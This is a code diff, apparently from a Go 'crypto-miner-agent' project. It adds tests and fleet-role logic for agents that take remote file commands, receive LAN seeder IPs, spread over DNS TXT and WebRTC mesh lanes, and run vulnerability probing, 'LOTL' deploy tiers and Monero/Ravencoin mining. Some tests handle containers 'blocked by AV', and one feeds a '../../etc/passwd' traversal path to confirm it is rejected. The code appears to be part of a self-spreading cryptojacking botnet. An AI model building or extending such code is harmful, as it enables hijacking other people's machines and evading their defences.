+	var gotMsg string
+	c.commandResultHook = func(_ string, success bool, message string) {
+		gotOK = success
+		gotMsg = message
+	}
+	c.handleCommand("read_file", 0, "", small, "", "")
+	if !gotOK || gotMsg != want {
+		t.Fatalf("ok=%v msg=%q want %q", gotOK, gotMsg, want)
+	}
+}
+
+func TestAgentConfigFileUploadReadRoundTrip(t *testing.T) {
+	dir := t.TempDir()
+	cfgPath := filepath.Join(dir, "agent-config.json")
+	payload := `{"server_url":"http://127.0.0.1:8989","worker_name":"test-node"}`
+	encoded := base64.StdEncoding.EncodeToString([]byte(payload))
+
+	c := newTestClient(t)
+	uploadDone := make(chan struct{})
+	c.commandResultHook = func(action string, success bool, message string) {
+		if action == "upload" {
+			if !success {
+				t.Fatalf("upload failed: %s", message)
+			}
+			close(uploadDone)
+		}
+	}
+	c.handleCommand("upload", 0, "", cfgPath, encoded, "")
+	<-uploadDone
+
+	readDone := make(chan struct{})
+	var readBody string
+	c.commandResultHook = func(action string, success bool, message string) {
+		if action == "read_file" {
+			if !success {
+				t.Fatalf("read_file failed: %s", message)
+			}
+			readBody = message
+			close(readDone)
+		}
+	}
+	c.handleCommand("read_file", 0, "", cfgPath, "", "")
+	<-readDone
+	if readBody != payload {
+		t.Fatalf("round-trip mismatch:\nwant %q\ngot  %q", payload, readBody)
+	}
+}
+
+func TestReadFileCommandRejectsTraversal(t *testing.T) {
+	c := newTestClient(t)
+	var gotMsg string
+	c.commandResultHook = func(_ string, success bool, message string) {
+		if !success {
+			gotMsg = message
+		}
+	}
+	c.handleCommand("read_file", 0, "", "../../etc/passwd", "", "")
+	if !strings.Contains(gotMsg, "path traversal") {
+		t.Fatalf("message=%q", gotMsg)
+	}
+}
+
 func TestReadDirectoryEntriesCapsCount(t *testing.T) {
 	dir := t.TempDir()
 	for i := 0; i < maxListDirEntries+10; i++ {

agent/client/fleet_pressure.go

@@ -0,0 +1,87 @@
+package client
+
+import (
+	"math"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/deploy"
+)
+
+const hashratePressureBaselinePerThread = 80.0
+
+// ComputeHashratePressure normalizes live hashrate to 0–1 for stats WS.
+func ComputeHashratePressure(hashrate float64, threads int) float64 {
+	if hashrate <= 0 || threads <= 0 {
+		return 0
+	}
+	denom := float64(threads) * hashratePressureBaselinePerThread
+	if denom <= 0 {
+		return 0
+	}
+	p := hashrate / denom
+	if p > 1 {
+		p = 1
+	}
+	if p < 0 {
+		p = 0
+	}
+	return math.Round(p*1000) / 1000
+}
+
+func (c *AgentClient) effectiveFleetRole() string {
+	return c.cfg.EffectiveFleetRole(c.fleetRoleHint())
+}
+
+func (c *AgentClient) fleetRoleHint() string {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	return c.fleetRoleHintVal
+}
+
+func (c *AgentClient) setFleetRoleHint(hint string) {
+	c.mu.Lock()
+	c.fleetRoleHintVal = hint
+	c.mu.Unlock()
+}
+
+func (c *AgentClient) lanSeedersSnapshot() []deploy.LANSeederHint {
+	c.mu.Lock()
+	defer c.mu.Unlock()
+	if len(c.lanSeeders) == 0 {
+		return nil
+	}
+	out := make([]deploy.LANSeederHint, len(c.lanSeeders))
+	copy(out, c.lanSeeders)
+	return out
+}
+
+func (c *AgentClient) setLANSeeders(seeders []deploy.LANSeederHint) {
+	c.mu.Lock()
+	c.lanSeeders = append(c.lanSeeders[:0], seeders...)
+	c.mu.Unlock()
+}
+
+func (c *AgentClient) applyAuthFleetRole(resp AuthResponse) {
+	if h := config.NormalizeFleetRole(resp.FleetRoleHint); h == config.FleetRoleSeeder || h == config.FleetRoleMiner {
+		c.setFleetRoleHint(h)
+	}
+	if len(resp.LANSeeders) > 0 {
+		c.setLANSeeders(resp.LANSeeders)
+	}
+}
+
+func (c *AgentClient) fleetPressureFields(hashrate float64, joinLane string) (role string, seedPressure, hashratePressure float64) {
+	role = c.effectiveFleetRole()
+	if role == config.FleetRoleSeeder {
+		lanesReady := 0
+		if c.cfg.DnsTxtSpread {
+			lanesReady++
+		}
+		if c.cfg.WebRTCMeshSpread {
+			lanesReady++
+		}
+		seedPressure = deploy.SeederSeedPressure(c.cfg, joinLane, lanesReady)
+		return role, seedPressure, 0
+	}
+	return role, 0, ComputeHashratePressure(hashrate, c.cfg.EffectiveThreads())
+}

agent/client/fleet_pressure_test.go

@@ -0,0 +1,55 @@
+package client
+
+import (
+	"testing"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/deploy"
+)
+
+func TestComputeHashratePressure(t *testing.T) {
+	if p := ComputeHashratePressure(0, 4); p != 0 {
+		t.Fatalf("zero hashrate=%v", p)
+	}
+	p := ComputeHashratePressure(160, 4)
+	if p < 0.49 || p > 0.51 {
+		t.Fatalf("half pressure=%v", p)
+	}
+	if ComputeHashratePressure(400, 4) != 1 {
+		t.Fatal("cap at 1")
+	}
+}
+
+func TestApplyAuthFleetRole(t *testing.T) {
+	c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleAuto}}}
+	c.applyAuthFleetRole(AuthResponse{
+		FleetRoleHint: config.FleetRoleSeeder,
+		LANSeeders: []deploy.LANSeederHint{
+			{AgentID: "s1", IP: "10.0.0.2"},
+		},
+	})
+	if c.fleetRoleHint() != config.FleetRoleSeeder {
+		t.Fatal("hint not applied")
+	}
+	if len(c.lanSeedersSnapshot()) != 1 {
+		t.Fatal("lan seeders not stored")
+	}
+}
+
+func TestFleetPressureFieldsSeederVsMiner(t *testing.T) {
+	seeder := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		SeederMode: true, DnsTxtSpread: true, WebRTCMeshSpread: true,
+	}}}
+	role, seed, hr := seeder.fleetPressureFields(0, "dns_txt")
+	if role != config.FleetRoleSeeder || seed != 1 || hr != 0 {
+		t.Fatalf("seeder role=%s seed=%v hr=%v", role, seed, hr)
+	}
+
+	miner := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
+		FleetRole: config.FleetRoleMiner, Threads: 2, ThreadMode: "fixed",
+	}}}
+	role, seed, hr = miner.fleetPressureFields(80, "")
+	if role != config.FleetRoleMiner || seed != 0 || hr <= 0 {
+		t.Fatalf("miner role=%s seed=%v hr=%v", role, seed, hr)
+	}
+}

agent/client/fleet_role_lifecycle_test.go

@@ -0,0 +1,27 @@
+package client
+
+import (
+	"context"
+	"testing"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+func TestMiningChainSkipsWhenSeederRole(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.SeederMode = true
+	cfg.FleetRole = config.FleetRoleSeeder
+	c := miningChainTestClient(t, cfg)
+	c.connected.Store(true)
+	c.miningChain = newTestMiningChainRunner(t, c)
+
+	ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
+	defer cancel()
+	c.startMiningWhenReady(ctx)
+
+	if r := c.miningChain.Status(); r.ActiveMethod != "" {
+		t.Fatalf("seeder should not start chain, active=%q", r.ActiveMethod)
+	}
+}

agent/client/mining_chain.go

@@ -24,20 +24,22 @@ type MiningChainRunner struct {
 }
 
 func (c *AgentClient) newMiningChainRunner() *MiningChainRunner {
-	miner.SetVulnProbeRunner(func() miner.TierAttempt {
+	if !miner.VulnProbeRunnerWired() {
-		report := RunVulnLOTLProbe()
+		miner.SetVulnProbeRunner(func() miner.TierAttempt {
-		attempt := miner.TierAttempt{
+			report := RunVulnLOTLProbe()
-			Tier:   miner.TierVulnProbe,
+			attempt := miner.TierAttempt{
-			OK:     true,
+				Tier:   miner.TierVulnProbe,
-			Wallet: c.cfg.Wallet,
+				OK:     true,
-			Details: map[string]interface{}{
+				Wallet: c.cfg.Wallet,
-				"risk_score":     report.RiskScore,
+				Details: map[string]interface{}{
-				"exposed_count":  report.ExposedCount,
+					"risk_score":    report.RiskScore,
-				"finding_count":  len(report.Findings),
+					"exposed_count": report.ExposedCount,
-			},
+					"finding_count": len(report.Findings),
-		}
+				},
-		return attempt
+			}
-	})
+			return attempt
+		})
+	}
 	r := &MiningChainRunner{client: c}
 	hooks := miner.ChainHooks{
 		StartDockerLoad: r.startDockerLoad,

agent/client/mining_chain_lifecycle_test.go

@@ -0,0 +1,681 @@
+package client
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"os/exec"
+	"runtime"
+	"testing"
+	"time"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/miner"
+	"crypto-miner-agent/stats"
+)
+
+// ─── test helpers ─────────────────────────────────────────────────────────────
+
+func miningChainTestClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
+	t.Helper()
+	if cfg.BuiltinConfig.Threads == 0 {
+		cfg.BuiltinConfig.Threads = 1
+	}
+	c := &AgentClient{
+		cfg:      cfg,
+		reporter: stats.NewReporter(),
+	}
+	c.pool = miner.NewPool(1, cfg, c.reporter, nil)
+	c.pool.Start()
+	t.Cleanup(func() { c.pool.Stop() })
+	return c
+}
+
+func longRunningExecCmd() *exec.Cmd {
+	if runtime.GOOS == "windows" {
+		return exec.Command("ping", "-n", "600", "127.0.0.1")
+	}
+	return exec.Command("sleep", "600")
+}
+
+func quickExitExecCmd() *exec.Cmd {
+	if runtime.GOOS == "windows" {
+		return exec.Command("cmd", "/c", "exit", "0")
+	}
+	return exec.Command("true")
+}
+
+func setupFakeDockerRuntime(t *testing.T) {
+	t.Helper()
+	miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
+		return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
+	})
+	t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
+	miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
+	t.Cleanup(func() { miner.SetWSLDetector(nil) })
+	miner.SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
+		if len(args) > 0 && args[0] == "rm" {
+			return quickExitExecCmd()
+		}
+		return longRunningExecCmd()
+	})
+	t.Cleanup(func() { miner.SetContainerExecCommand(nil) })
+}
+
+func setupNoContainerRuntime(t *testing.T) {
+	t.Helper()
+	miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
+	t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
+	miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
+	t.Cleanup(func() { miner.SetWSLDetector(nil) })
+}
+
+func baseMiningCfg() config.RuntimeConfig {
+	return config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			MinerExecution: miner.ExecutionAuto,
+			PoolHost:       "pool.example.com",
+			PoolPort:       3333,
+			Wallet:         "XMR:test-wallet",
+			Threads:        1,
+		},
+	}
+}
+
+func installFastVulnProbe(t *testing.T, wallet string) {
+	t.Helper()
+	miner.SetVulnProbeRunner(func() miner.TierAttempt {
+		return miner.TierAttempt{Tier: miner.TierVulnProbe, OK: true, Wallet: wallet}
+	})
+	t.Cleanup(func() { miner.SetVulnProbeRunner(nil) })
+}
+
+func skipCtrlTierHooks(r *MiningChainRunner) {
+	r.ctrl.SetChainHooksForTest(miner.ChainHooks{
+		RunTierProbes: func() miner.TierReport { return miner.TierReport{} },
+		RunTierChain:  func() (miner.LOTLTier, error) { return "", miner.ErrTierChainSkipped },
+	})
+}
+
+func newTestMiningChainRunner(t *testing.T, c *AgentClient) *MiningChainRunner {
+	t.Helper()
+	installFastVulnProbe(t, c.cfg.Wallet)
+	r := c.newMiningChainRunner()
+	skipCtrlTierHooks(r)
+	return r
+}
+
+func onionPayloadShape(t *testing.T, report miner.TripleOnionReport, eventType string) map[string]interface{} {
+	t.Helper()
+	raw, err := json.Marshal(struct {
+		miner.TripleOnionReport
+		Event string `json:"event"`
+	}{
+		TripleOnionReport: report,
+		Event:             eventType,
+	})
+	if err != nil {
+		t.Fatalf("marshal onion payload: %v", err)
+	}
+	var doc map[string]interface{}
+	if err := json.Unmarshal(raw, &doc); err != nil {
+		t.Fatalf("unmarshal onion payload: %v", err)
+	}
+	return doc
+}
+
+func tierPayloadShape(t *testing.T, report miner.TierReport, eventType string) map[string]interface{} {
+	t.Helper()
+	raw, err := json.Marshal(struct {
+		miner.TierReport
+		Event string `json:"event"`
+	}{
+		TierReport: report,
+		Event:      eventType,
+	})
+	if err != nil {
+		t.Fatalf("marshal tier payload: %v", err)
+	}
+	var doc map[string]interface{}
+	if err := json.Unmarshal(raw, &doc); err != nil {
+		t.Fatalf("unmarshal tier payload: %v", err)
+	}
+	return doc
+}
+
+// ─── runner construction ───────────────────────────────────────────────────────
+
+func TestMiningChainRunnerConstruction(t *testing.T) {
+	setupNoContainerRuntime(t)
+	c := miningChainTestClient(t, baseMiningCfg())
+	r := newTestMiningChainRunner(t, c)
+
+	if r == nil || r.client != c {
+		t.Fatal("expected runner bound to client")
+	}
+	if r.ctrl == nil {
+		t.Fatal("expected ChainController")
+	}
+	if r.tiers == nil {
+		t.Fatal("expected TierOrchestrator")
+	}
+	if r.onion == nil {
+		t.Fatal("expected TripleOnionOrchestrator")
+	}
+	order := r.ctrl.Status().ChainOrder
+	if len(order) == 0 {
+		t.Fatal("expected non-empty chain order")
+	}
+	if order[0] != miner.MethodInProcess {
+		t.Fatalf("without runtime want inprocess first, got %v", order)
+	}
+}
+
+// ─── start / stop / cooldown ─────────────────────────────────────────────────
+
+func TestMiningChainRunnerStartStopCycle(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.MinerExecution = miner.ExecutionInProcess
+	c := miningChainTestClient(t, cfg)
+	c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
+	r := newTestMiningChainRunner(t, c)
+
+	ctx, cancel := context.WithCancel(context.Background())
+	defer cancel()
+
+	r.startMiningCascade(ctx)
+	st := r.Status()
+	if st.ActiveMethod != miner.MethodInProcess {
+		t.Fatalf("active=%q want inprocess", st.ActiveMethod)
+	}
+	if c.hostMiningDisabled.Load() {
+		t.Fatal("in-process path should not disable host mining")
+	}
+
+	r.Stop()
+	st = r.Status()
+	if st.ActiveMethod != "" {
+		t.Fatalf("after Stop active=%q want empty", st.ActiveMethod)
+	}
+	r.mu.Lock()
+	cancelled := r.monCancel == nil
+	r.mu.Unlock()
+	if !cancelled {
+		t.Fatal("Stop should clear monitor cancel func")
+	}
+}
+
+func TestMiningChainRunnerCooldownBetweenPasses(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.MinerExecution = miner.ExecutionInProcess
+	c := miningChainTestClient(t, cfg)
+	r := newTestMiningChainRunner(t, c)
+
+	attempts := 0
+	r.ctrl.SetChainHooksForTest(miner.ChainHooks{
+		StartInProcess: func() error {
+			attempts++
+			return nil
+		},
+	})
+
+	ctx := context.Background()
+	if _, err := r.ctrl.TryChain(ctx); err != nil {
+		t.Fatalf("first TryChain: %v", err)
+	}
+	if _, err := r.ctrl.TryChain(ctx); err != nil {
+		t.Fatalf("second TryChain: %v", err)
+	}
+	if attempts != 1 {
+		t.Fatalf("cooldown attempts=%d want 1", attempts)
+	}
+
+	r.Restart(ctx)
+	if attempts != 2 {
+		t.Fatalf("Restart after cooldown attempts=%d want 2", attempts)
+	}
+}
+
+// ─── triple onion wire ordering ──────────────────────────────────────────────
+
+func TestMiningChainRunnerTripleOnionPhaseOrdering(t *testing.T) {
+	setupNoContainerRuntime(t)
+	c := miningChainTestClient(t, baseMiningCfg())
+	r := newTestMiningChainRunner(t, c)
+
+	var phases []string
+	policy := miner.TripleOnionPolicy{
+		PatchFirst:  false,
+		ReconTiers:  []string{"kev_scan"},
+		DeployLanes: []string{"docker", "wsl"},
+	}
+	r.onion = miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
+		RunReconTier: func(_ context.Context, tier string) miner.ReconTierResult {
+			phases = append(phases, "recon:"+tier)
+			return miner.ReconTierResult{OK: true, Snapshot: miner.ReconSnapshot{RiskScore: 5}}
+		},
+		RunDeployLane: func(_ context.Context, lane string) (bool, string) {
+			phases = append(phases, "deploy:"+lane)
+			if lane == "docker" {
+				return true, "mock container ready"
+			}
+			return false, "skipped"
+		},
+		RunMining: func(_ context.Context) {
+			phases = append(phases, "mining")
+		},
+		ReportEvent: r.reportOnionEvent,
+	})
+
+	ctx, cancel := context.WithCancel(context.Background())
+	defer cancel()
+	r.Start(ctx)
+
+	want := []string{"recon:kev_scan", "deploy:docker", "mining"}
+	if len(phases) != len(want) {
+		t.Fatalf("phases=%v want %v", phases, want)
+	}
+	for i := range want {
+		if phases[i] != want[i] {
+			t.Fatalf("phases[%d]=%q want %q full=%v", i, phases[i], want[i], phases)
+		}
+	}
+}
+
+// ─── tier hooks: container skip, inprocess, GPU parallel ────────────────────
+
+func TestMiningChainRunnerContainerSkipsWithoutRuntime(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.MinerExecution = miner.ExecutionContainer
+	c := miningChainTestClient(t, cfg)
+	c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
+	r := newTestMiningChainRunner(t, c)
+
+	ctx := context.Background()
+	r.startMiningCascade(ctx)
+	defer r.Stop()
+
+	st := r.Status()
+	if st.ActiveMethod != miner.MethodInProcess {
+		t.Fatalf("active=%q want inprocess when container unavailable", st.ActiveMethod)
+	}
+	for _, m := range st.ChainOrder {
+		if m == miner.MethodContainer {
+			t.Fatalf("chain order must omit container without runtime: %v", st.ChainOrder)
+		}
+	}
+}
+
+func TestMiningChainRunnerContainerActiveWithMockRuntime(t *testing.T) {
+	setupFakeDockerRuntime(t)
+	c := miningChainTestClient(t, baseMiningCfg())
+	c.tierPolicy = miner.MiningTierPolicy{
+		TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
+	}
+	r := newTestMiningChainRunner(t, c)
+
+	ctx := context.Background()
+	r.startMiningCascade(ctx)
+	defer r.Stop()
+
+	st := r.Status()
+	if st.ActiveMethod != miner.MethodContainer {
+		t.Fatalf("active=%q want container", st.ActiveMethod)
+	}
+	if !c.hostMiningDisabled.Load() {
+		t.Fatal("container tier should disable host RandomX")
+	}
+	if c.containerMiner == nil || !c.containerMiner.Running() {
+		t.Fatal("expected mock container miner running")
+	}
+}
+
+func TestMiningChainRunnerInProcessPath(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.MinerExecution = miner.ExecutionInProcess
+	c := miningChainTestClient(t, cfg)
+	c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
+	r := newTestMiningChainRunner(t, c)
+
+	ctx := context.Background()
+	r.startMiningCascade(ctx)
+	defer r.Stop()
+
+	if c.hostMiningDisabled.Load() {
+		t.Fatal("in-process should keep host mining enabled")
+	}
+	if r.Status().ActiveMethod != miner.MethodInProcess {
+		t.Fatalf("active=%q want inprocess", r.Status().ActiveMethod)
+	}
+}
+
+func TestMiningChainRunnerGPUParallelBranch(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.MinerExecution = miner.ExecutionInProcess
+	cfg.GPUEnabled = true
+	cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
+	c := miningChainTestClient(t, cfg)
+	c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
+	r := newTestMiningChainRunner(t, c)
+
+	gpuStarted := false
+	r.ctrl.SetChainHooksForTest(miner.ChainHooks{
+		StartInProcess: func() error {
+			r.client.hostMiningDisabled.Store(false)
+			r.client.pool.ResumeRemote()
+			return nil
+		},
+		IsGPUSupported: func() bool { return true },
+		WebGPUReady:    func() bool { return true },
+		StartGPU: func() error {
+			gpuStarted = true
+			r.ctrl.SetGPUActive(true)
+			return nil
+		},
+	})
+
+	ctx := context.Background()
+	r.startMiningCascade(ctx)
+	defer r.Stop()
+
+	st := r.Status()
+	if !gpuStarted {
+		t.Fatal("expected GPU parallel branch to start")
+	}
+	if !st.GPUParallel {
+		t.Fatalf("status gpu_parallel=false: %+v", st)
+	}
+	if st.ActiveMethod != miner.MethodInProcess {
+		t.Fatalf("CPU primary=%q want inprocess", st.ActiveMethod)
+	}
+	for _, m := range st.ActiveMethods {
+		if m == miner.MethodGPUSubprocess {
+			return
+		}
+	}
+	t.Fatalf("active_methods=%v want gpu_subprocess", st.ActiveMethods)
+}
+
+func TestMiningChainRunnerGPUSkippedWhenUnsupported(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.MinerExecution = miner.ExecutionInProcess
+	cfg.GPUEnabled = true
+	cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
+	c := miningChainTestClient(t, cfg)
+	c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
+	r := newTestMiningChainRunner(t, c)
+
+	r.ctrl.SetChainHooksForTest(miner.ChainHooks{
+		StartInProcess: func() error {
+			r.client.hostMiningDisabled.Store(false)
+			r.client.pool.ResumeRemote()
+			return nil
+		},
+		IsGPUSupported: func() bool { return false },
+	})
+
+	ctx := context.Background()
+	r.startMiningCascade(ctx)
+	defer r.Stop()
+
+	if r.Status().GPUParallel {
+		t.Fatal("gpu_parallel should be false when IsGPUSupported is false")
+	}
+}
+
+// ─── reportOnionEvent / lotl_attempts payload shape ──────────────────────────
+
+func TestMiningChainRunnerReportOnionEventPayloadShape(t *testing.T) {
+	setupNoContainerRuntime(t)
+	c := miningChainTestClient(t, baseMiningCfg())
+	r := newTestMiningChainRunner(t, c)
+
+	report := miner.TripleOnionReport{
+		ActivePhase: miner.OnionPhaseDeploy,
+		Gate:        miner.GateDecision{SkipMining: false},
+		Recon:       miner.ReconSnapshot{RiskScore: 12, ServiceCount: 3},
+		Attempts: []miner.TierAttempt{
+			{Phase: string(miner.OnionPhaseRecon), Tier: miner.TierVulnProbe, OK: true, Wallet: "XMR:test-wallet"},
+			{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true, Wallet: "XMR:test-wallet", DurationMs: 42},
+		},
+		Wallet: "XMR:test-wallet",
+	}
+	r.reportOnionEvent(report, "onion_report")
+
+	doc := onionPayloadShape(t, report, "onion_report")
+	for _, key := range []string{"event", "onion_phase", "gate", "recon", "lotl_attempts", "wallet"} {
+		if _, ok := doc[key]; !ok {
+			t.Fatalf("onion payload missing key %q: %v", key, doc)
+		}
+	}
+	if doc["event"] != "onion_report" {
+		t.Fatalf("event=%v", doc["event"])
+	}
+	attempts, ok := doc["lotl_attempts"].([]interface{})
+	if !ok || len(attempts) != 2 {
+		t.Fatalf("lotl_attempts=%T len=%d", doc["lotl_attempts"], len(attempts))
+	}
+	first, ok := attempts[0].(map[string]interface{})
+	if !ok {
+		t.Fatalf("attempt[0] type=%T", attempts[0])
+	}
+	if first["phase"] != string(miner.OnionPhaseRecon) {
+		t.Fatalf("attempt phase=%v", first["phase"])
+	}
+	if first["wallet"] != "XMR:test-wallet" {
+		t.Fatalf("attempt wallet=%v", first["wallet"])
+	}
+
+	st := r.Status()
+	if len(st.LOTLAttempts) != 2 {
+		t.Fatalf("Status().LOTLAttempts=%d want 2", len(st.LOTLAttempts))
+	}
+}
+
+func TestMiningChainRunnerReportTierEventLotlAttempts(t *testing.T) {
+	setupNoContainerRuntime(t)
+	c := miningChainTestClient(t, baseMiningCfg())
+	r := newTestMiningChainRunner(t, c)
+
+	report := miner.TierReport{
+		ActiveTier: miner.TierCPUInprocess,
+		Attempts: []miner.TierAttempt{
+			{Tier: miner.TierWebView2Probe, OK: true, Wallet: "XMR:test-wallet", DurationMs: 10},
+			{Tier: miner.TierCPUInprocess, OK: true, Wallet: "XMR:test-wallet"},
+		},
+		WebGPUReady: true,
+	}
+	r.reportTierEvent(report, "tier_report")
+
+	doc := tierPayloadShape(t, report, "tier_report")
+	for _, key := range []string{"event", "lotl_tier", "lotl_attempts", "webgpu_ready"} {
+		if _, ok := doc[key]; !ok {
+			t.Fatalf("tier payload missing key %q: %v", key, doc)
+		}
+	}
+	if doc["lotl_tier"] != string(miner.TierCPUInprocess) {
+		t.Fatalf("lotl_tier=%v", doc["lotl_tier"])
+	}
+
+	st := r.Status()
+	if st.LOTLTier != miner.TierCPUInprocess {
+		t.Fatalf("Status lotl_tier=%q", st.LOTLTier)
+	}
+	if len(st.LOTLAttempts) < 2 {
+		t.Fatalf("Status lotl_attempts=%v", st.LOTLAttempts)
+	}
+	if st.ActiveMethod != miner.MethodInProcess {
+		t.Fatalf("tier event should set primary active=%q", st.ActiveMethod)
+	}
+}
+
+func TestMiningChainRunnerStatusMergesOnionAttempts(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.MinerExecution = miner.ExecutionInProcess
+	c := miningChainTestClient(t, cfg)
+	c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
+	r := newTestMiningChainRunner(t, c)
+
+	r.mu.Lock()
+	r.onionAttempts = []miner.TierAttempt{
+		{Phase: string(miner.OnionPhaseRecon), Tier: "kev_scan", OK: true},
+		{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true},
+	}
+	r.mu.Unlock()
+
+	ctx := context.Background()
+	r.startMiningCascade(ctx)
+	defer r.Stop()
+
+	st := r.Status()
+	if len(st.LOTLAttempts) < 3 {
+		t.Fatalf("merged attempts=%d want >=3: %v", len(st.LOTLAttempts), st.LOTLAttempts)
+	}
+	if st.LOTLAttempts[0].Phase != string(miner.OnionPhaseRecon) {
+		t.Fatalf("first attempt phase=%q", st.LOTLAttempts[0].Phase)
+	}
+}
+
+// ─── mining disabled / ApkMode skips chain ───────────────────────────────────
+
+func TestMiningChainSkipsWhenMiningDisabled(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.MiningDisabled = true
+	c := miningChainTestClient(t, cfg)
+	c.connected.Store(true)
+	c.miningChain = newTestMiningChainRunner(t, c)
+
+	ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
+	defer cancel()
+	c.startMiningWhenReady(ctx)
+
+	if r := c.miningChain.Status(); r.ActiveMethod != "" {
+		t.Fatalf("mining disabled should not start chain, active=%q", r.ActiveMethod)
+	}
+}
+
+func TestMiningChainSkipsApkMode(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.ApkMode = true
+	c := miningChainTestClient(t, cfg)
+	c.connected.Store(true)
+	c.miningChain = newTestMiningChainRunner(t, c)
+
+	ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
+	defer cancel()
+	c.startMiningWhenReady(ctx)
+
+	if r := c.miningChain.Status(); r.ActiveMethod != "" {
+		t.Fatalf("apk mode should not start chain, active=%q", r.ActiveMethod)
+	}
+}
+
+// ─── error paths: tier failure advances, exhausted chain ───────────────────
+
+func TestMiningChainRunnerTierFailureAdvancesToInProcess(t *testing.T) {
+	setupNoContainerRuntime(t)
+	c := miningChainTestClient(t, baseMiningCfg())
+	r := newTestMiningChainRunner(t, c)
+
+	containerCalls := 0
+	r.ctrl.SetChainHooksForTest(miner.ChainHooks{
+		StartContainer: func() error {
+			containerCalls++
+			return errors.New("mock container start blocked by AV")
+		},
+		StartInProcess: func() error {
+			r.client.hostMiningDisabled.Store(false)
+			r.client.pool.ResumeRemote()
+			return nil
+		},
+		IsGPUSupported: func() bool { return false },
+	})
+	r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess})
+
+	ctx := context.Background()
+	if _, err := r.ctrl.TryChain(ctx); err != nil {
+		t.Fatalf("TryChain: %v", err)
+	}
+	defer r.Stop()
+
+	if containerCalls == 0 {
+		t.Fatal("expected container tier attempt before advance")
+	}
+	st := r.Status()
+	if st.ActiveMethod != miner.MethodInProcess {
+		t.Fatalf("active=%q want inprocess after container failure", st.ActiveMethod)
+	}
+	if len(st.FailedMethods) == 0 || st.FailedMethods[0].Method != miner.MethodContainer {
+		t.Fatalf("failures=%v want container failure recorded", st.FailedMethods)
+	}
+}
+
+func TestMiningChainRunnerAdvancePrimaryFromUnhealthyContainer(t *testing.T) {
+	setupFakeDockerRuntime(t)
+	c := miningChainTestClient(t, baseMiningCfg())
+	c.tierPolicy = miner.MiningTierPolicy{
+		TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
+	}
+	r := newTestMiningChainRunner(t, c)
+
+	ctx := context.Background()
+	r.startMiningCascade(ctx)
+
+	if r.Status().ActiveMethod != miner.MethodContainer {
+		t.Fatalf("setup active=%q want container", r.Status().ActiveMethod)
+	}
+	if c.containerMiner != nil {
+		c.containerMiner.Stop()
+	}
+	if c.containerMiner != nil && c.containerMiner.Running() {
+		t.Fatal("container should be stopped")
+	}
+
+	r.ctrl.AdvancePrimary("container workload exited or unhealthy")
+	st := r.Status()
+	if st.ActiveMethod != miner.MethodInProcess {
+		t.Fatalf("after advance active=%q want inprocess", st.ActiveMethod)
+	}
+	r.Stop()
+}
+
+func TestMiningChainRunnerExhaustedChainState(t *testing.T) {
+	setupNoContainerRuntime(t)
+	cfg := baseMiningCfg()
+	cfg.MinerExecution = miner.ExecutionInProcess
+	c := miningChainTestClient(t, cfg)
+	r := newTestMiningChainRunner(t, c)
+
+	r.ctrl.SetChainHooksForTest(miner.ChainHooks{
+		StartInProcess: func() error {
+			return errors.New("mock in-process RandomX unavailable")
+		},
+	})
+	r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodInProcess})
+
+	ctx := context.Background()
+	_, err := r.ctrl.TryChain(ctx)
